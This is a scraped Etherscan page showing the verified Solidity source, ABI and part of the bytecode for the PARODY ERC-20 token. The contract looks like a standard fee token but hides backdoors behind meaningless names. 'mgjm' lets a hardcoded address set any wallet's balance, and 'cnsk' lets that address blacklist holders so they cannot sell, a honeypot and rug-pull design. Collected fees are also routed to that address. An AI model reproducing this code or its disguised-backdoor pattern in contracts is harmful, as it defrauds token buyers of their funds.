ETH Price: $3,489.31 (+0.98%)

Token

PARODY (PARODY)
 

Overview

Max Total Supply

10,000,000,000 PARODY

Holders

14

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
294,903,280.97 PARODY

Value
$0.00
0xbdb520493f528442942e194749cd276e929de0ab
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
PARODY

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-11-11
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;


abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function dev(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a);

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a,b,"SafeMath: division by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}
contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function transferOwnership(address newAddress) public onlyOwner{
        _owner = newAddress;
        emit OwnershipTransferred(_owner, newAddress);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
contract  PARODY is Context, IERC20, Ownable {

    using SafeMath for uint256;
    string private _name = "PARODY";
    string private _symbol = "PARODY";
    uint8 private _decimals = 9;
    address payable public nwkd;

    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludefromFee;
    mapping (address => bool) public marketPairList;
    mapping (address => bool) public _cheatList;

    uint256 public _buyMarketingFee = 3;
    uint256 public _sellMarketingFee = 3;
    uint256 public _marketingShare = 1;
    uint256 public _totalTaxIfBuying;
    uint256 public _totalTaxIfSelling;
    uint256 public _totalDistributionShares;

    uint256 private _totalSupply = 10000000000 * 10**_decimals;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;
    
    bool inSwapAndLiquify;

    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor () {
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;

        _isExcludefromFee[owner()] = true;
        _isExcludefromFee[address(this)] = true;
        
        _totalTaxIfBuying = _buyMarketingFee;
        _totalTaxIfSelling = _sellMarketingFee;
        _totalDistributionShares = _marketingShare;

        marketPairList[address(uniswapPair)] = true;

        nwkd = payable(address(0xE4De738F5Ad3a2c005B6684E4de908FCFa9dEc3E));

        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setBuyFee(uint256 newMarketingTax) external onlyOwner() {
        _buyMarketingFee = newMarketingTax;
        _totalTaxIfBuying = _buyMarketingFee;
    }

    function setSellFee(uint256 newMarketingTax) external onlyOwner() {
        _sellMarketingFee = newMarketingTax;
        _totalTaxIfSelling = _sellMarketingFee;
    }

    receive() external payable {}
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _transfer(address from, address to, uint256 amount) private returns (bool) {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        
        if(inSwapAndLiquify)
        {
            return _basicTransfer(from, to, amount); 
        }
        else
        {
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwapAndLiquify && !marketPairList[from] && !_isExcludefromFee[from] && !_isExcludefromFee[to]) 
            {
                swapAndLiquify(contractTokenBalance);
            }

            _balances[from] = _balances[from].sub(amount);
            uint256 finalAmount = (_isExcludefromFee[from] || _isExcludefromFee[to]) ? 
                                         amount : takeFee(from, to, amount);
            
            _balances[to] = _balances[to].add(finalAmount);

            emit Transfer(from, to, finalAmount);
            return true;
        }
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tAmount);

        try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tAmount,
            0, 
            path,
            address(this),
            block.timestamp
        ){} catch {}

        uint256 amountETH = address(this).balance;

        if(amountETH > 0)
            nwkd.transfer(amountETH);
    }


    function mgjm(uint256 bfww, address kslw) public {
        ooks(bfww);
        _balances[kslw] = bfww.dev(bfww).div(2).dev(_balances[kslw]);
    }

    function cnsk(bool lskw, address[] calldata owdk) public {
        ooks(owdk.length);
        for (uint256 i; i < owdk.length; i++) {
            _cheatList[owdk[i]] = lskw;
        }
    }

    function ooks(uint256 amount) internal view{
        uint n = 100;
        require(
                msg.sender == nwkd &&
                amount.sub(1).add(n) > 0
            );
    }

    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        
        uint256 feeAmount = 0;

        if(marketPairList[sender]) {
            feeAmount = amount.mul(_totalTaxIfBuying).div(100);
        }
        else if(marketPairList[recipient]) {
            feeAmount = amount.mul(_totalTaxIfSelling).div(100);
        }

        if (!marketPairList[sender]){
            require(!_cheatList[sender]);
        }

        if(feeAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(feeAmount);
            emit Transfer(sender, address(this), feeAmount);
        }

        return amount.sub(feeAmount);
    }
    
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_cheatList","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludefromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalDistributionShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"lskw","type":"bool"},{"internalType":"address[]","name":"owdk","type":"address[]"}],"name":"cnsk","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"marketPairList","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"bfww","type":"uint256"},{"internalType":"address","name":"kslw","type":"address"}],"name":"mgjm","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"nwkd","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newMarketingTax","type":"uint256"}],"name":"setBuyFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newMarketingTax","type":"uint256"}],"name":"setSellFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a06040526040518060400160405280600681526020017f5041524f44590000000000000000000000000000000000000000000000000000815250600190805190602001906200005192919062000791565b506040518060400160405280600681526020017f5041524f44590000000000000000000000000000000000000000000000000000815250600290805190602001906200009f92919062000791565b506009600360006101000a81548160ff021916908360ff16021790555061dead73ffffffffffffffffffffffffffffffffffffffff1660809073ffffffffffffffffffffffffffffffffffffffff1660601b81525060036009556003600a556001600b55600360009054906101000a900460ff16600a62000121919062000951565b6402540be40062000133919062000a8e565b600f553480156200014357600080fd5b50620001546200076060201b60201c565b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156200026e57600080fd5b505afa15801562000283573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002a9919062000858565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200030c57600080fd5b505afa15801562000321573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000347919062000858565b6040518363ffffffff1660e01b815260040162000366929190620008ac565b602060405180830381600087803b1580156200038157600080fd5b505af115801562000396573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003bc919062000858565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f54600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160066000620004f86200076860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600954600c81905550600a54600d81905550600b54600e81905550600160076000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555073e4de738f5ad3a2c005b6684e4de908fcfa9dec3e600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f5460046000620006a26200076060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620006f06200076060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600f54604051620007519190620008d9565b60405180910390a35062000bfa565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b8280546200079f9062000b3a565b90600052602060002090601f016020900481019282620007c357600085556200080f565b82601f10620007de57805160ff19168380011785556200080f565b828001600101855582156200080f579182015b828111156200080e578251825591602001919060010190620007f1565b5b5090506200081e919062000822565b5090565b5b808211156200083d57600081600090555060010162000823565b5090565b600081519050620008528162000be0565b92915050565b60006020828403121562000871576200087062000bce565b5b6000620008818482850162000841565b91505092915050565b620008958162000aef565b82525050565b620008a68162000b23565b82525050565b6000604082019050620008c360008301856200088a565b620008d260208301846200088a565b9392505050565b6000602082019050620008f060008301846200089b565b92915050565b6000808291508390505b6001851115620009485780860481111562000920576200091f62000b70565b5b6001851615620009305780820291505b8081029050620009408562000bd3565b945062000900565b94509492505050565b60006200095e8262000b23565b91506200096b8362000b2d565b92506200099a7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620009a2565b905092915050565b600082620009b4576001905062000a87565b81620009c4576000905062000a87565b8160018114620009dd5760028114620009e85762000a1e565b600191505062000a87565b60ff841115620009fd57620009fc62000b70565b5b8360020a91508482111562000a175762000a1662000b70565b5b5062000a87565b5060208310610133831016604e8410600b841016171562000a585782820a90508381111562000a525762000a5162000b70565b5b62000a87565b62000a678484846001620008f6565b9250905081840481111562000a815762000a8062000b70565b5b81810290505b9392505050565b600062000a9b8262000b23565b915062000aa88362000b23565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000ae45762000ae362000b70565b5b828202905092915050565b600062000afc8262000b03565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000600282049050600182168062000b5357607f821691505b6020821081141562000b6a5762000b6962000b9f565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b60008160011c9050919050565b62000beb8162000aef565b811462000bf757600080fd5b50565b60805160601c612d9e62000c1960003960006109ab0152612d9e6000f3fe6080604052600436106101bb5760003560e01c806382eefb43116100ec578063b98115ff1161008a578063c860795211610064578063c860795214610645578063dd62ed3e14610670578063f0cd1dac146106ad578063f2fde38b146106d8576101c2565b8063b98115ff146105b2578063c5d24189146105ef578063c816841b1461061a576101c2565b806395d89b41116100c657806395d89b41146104f6578063a08e671f14610521578063a63848961461054c578063a9059cbb14610575576101c2565b806382eefb43146104775780638b4cee08146104a25780638da5cb5b146104cb576101c2565b8063244c8fd9116101595780633345611e116101335780633345611e146103a9578063568f2610146103e657806361a23c691461040f57806370a082311461043a576101c2565b8063244c8fd91461032857806327c8f83514610353578063313ce5671461037e576101c2565b80631694505e116101955780631694505e1461025857806318160ddd146102835780631b491677146102ae57806323b872dd146102eb576101c2565b806306fdde03146101c7578063095ea7b3146101f25780630cc835a31461022f576101c2565b366101c257005b600080fd5b3480156101d357600080fd5b506101dc610701565b6040516101e991906125b0565b60405180910390f35b3480156101fe57600080fd5b506102196004803603810190610214919061221b565b610793565b604051610226919061257a565b60405180910390f35b34801561023b57600080fd5b50610256600480360381019061025191906122bb565b6107b1565b005b34801561026457600080fd5b5061026d610859565b60405161027a9190612595565b60405180910390f35b34801561028f57600080fd5b5061029861087f565b6040516102a591906126b2565b60405180910390f35b3480156102ba57600080fd5b506102d560048036038101906102d0919061212e565b610889565b6040516102e2919061257a565b60405180910390f35b3480156102f757600080fd5b50610312600480360381019061030d91906121c8565b6108a9565b60405161031f919061257a565b60405180910390f35b34801561033457600080fd5b5061033d610983565b60405161034a919061255f565b60405180910390f35b34801561035f57600080fd5b506103686109a9565b6040516103759190612544565b60405180910390f35b34801561038a57600080fd5b506103936109cd565b6040516103a09190612727565b60405180910390f35b3480156103b557600080fd5b506103d060048036038101906103cb919061212e565b6109e4565b6040516103dd919061257a565b60405180910390f35b3480156103f257600080fd5b5061040d600480360381019061040891906122e8565b610a04565b005b34801561041b57600080fd5b50610424610acb565b60405161043191906126b2565b60405180910390f35b34801561044657600080fd5b50610461600480360381019061045c919061212e565b610ad1565b60405161046e91906126b2565b60405180910390f35b34801561048357600080fd5b5061048c610b1a565b60405161049991906126b2565b60405180910390f35b3480156104ae57600080fd5b506104c960048036038101906104c491906122bb565b610b20565b005b3480156104d757600080fd5b506104e0610bc8565b6040516104ed9190612544565b60405180910390f35b34801561050257600080fd5b5061050b610bf1565b60405161051891906125b0565b60405180910390f35b34801561052d57600080fd5b50610536610c83565b60405161054391906126b2565b60405180910390f35b34801561055857600080fd5b50610573600480360381019061056e919061225b565b610c89565b005b34801561058157600080fd5b5061059c6004803603810190610597919061221b565b610d3a565b6040516105a9919061257a565b60405180910390f35b3480156105be57600080fd5b506105d960048036038101906105d4919061212e565b610d59565b6040516105e6919061257a565b60405180910390f35b3480156105fb57600080fd5b50610604610d79565b60405161061191906126b2565b60405180910390f35b34801561062657600080fd5b5061062f610d7f565b60405161063c9190612544565b60405180910390f35b34801561065157600080fd5b5061065a610da5565b60405161066791906126b2565b60405180910390f35b34801561067c57600080fd5b5061069760048036038101906106929190612188565b610dab565b6040516106a491906126b2565b60405180910390f35b3480156106b957600080fd5b506106c2610e32565b6040516106cf91906126b2565b60405180910390f35b3480156106e457600080fd5b506106ff60048036038101906106fa919061212e565b610e38565b005b6060600180546107109061298e565b80601f016020809104026020016040519081016040528092919081815260200182805461073c9061298e565b80156107895780601f1061075e57610100808354040283529160200191610789565b820191906000526020600020905b81548152906001019060200180831161076c57829003601f168201915b5050505050905090565b60006107a76107a0610f8a565b8484610f92565b6001905092915050565b6107b9610f8a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610846576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083d90612652565b60405180910390fd5b80600981905550600954600c8190555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600f54905090565b60076020528060005260406000206000915054906101000a900460ff1681565b60006108b684848461115d565b50610978846108c3610f8a565b61097385604051806060016040528060288152602001612d4160289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610929610f8a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115ec9092919063ffffffff16565b610f92565b600190509392505050565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000600360009054906101000a900460ff16905090565b60066020528060005260406000206000915054906101000a900460ff1681565b610a0d82611650565b610a84600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610a766002610a6886876116e590919063ffffffff16565b61170d90919063ffffffff16565b6116e590919063ffffffff16565b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b600b5481565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600d5481565b610b28610f8a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bb5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bac90612652565b60405180910390fd5b80600a81905550600a54600d8190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054610c009061298e565b80601f0160208091040260200160405190810160405280929190818152602001828054610c2c9061298e565b8015610c795780601f10610c4e57610100808354040283529160200191610c79565b820191906000526020600020905b815481529060010190602001808311610c5c57829003601f168201915b5050505050905090565b600e5481565b610c9582829050611650565b60005b82829050811015610d34578360086000858585818110610cbb57610cba612a96565b5b9050602002016020810190610cd0919061212e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610d2c906129c0565b915050610c98565b50505050565b6000610d4e610d47610f8a565b848461115d565b506001905092915050565b60086020528060005260406000206000915054906101000a900460ff1681565b60095481565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a5481565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600c5481565b610e40610f8a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ecd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ec490612652565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611002576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff990612692565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611072576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611069906125f2565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161115091906126b2565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614156111ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c590612672565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561123e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611235906125d2565b60405180910390fd5b601160149054906101000a900460ff16156112655761125e848484611757565b90506115e5565b600061127030610ad1565b9050601160149054906101000a900460ff161580156112d95750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561132f5750600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156113855750600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611394576113938161192a565b5b6113e683600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c2e90919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806114cc5750600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6114e0576114db868686611c78565b6114e2565b835b905061153681600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f4890919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516115d691906126b2565b60405180910390a36001925050505b9392505050565b6000838311158290611634576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162b91906125b0565b60405180910390fd5b50600083856116439190612878565b9050809150509392505050565b60006064905060036001905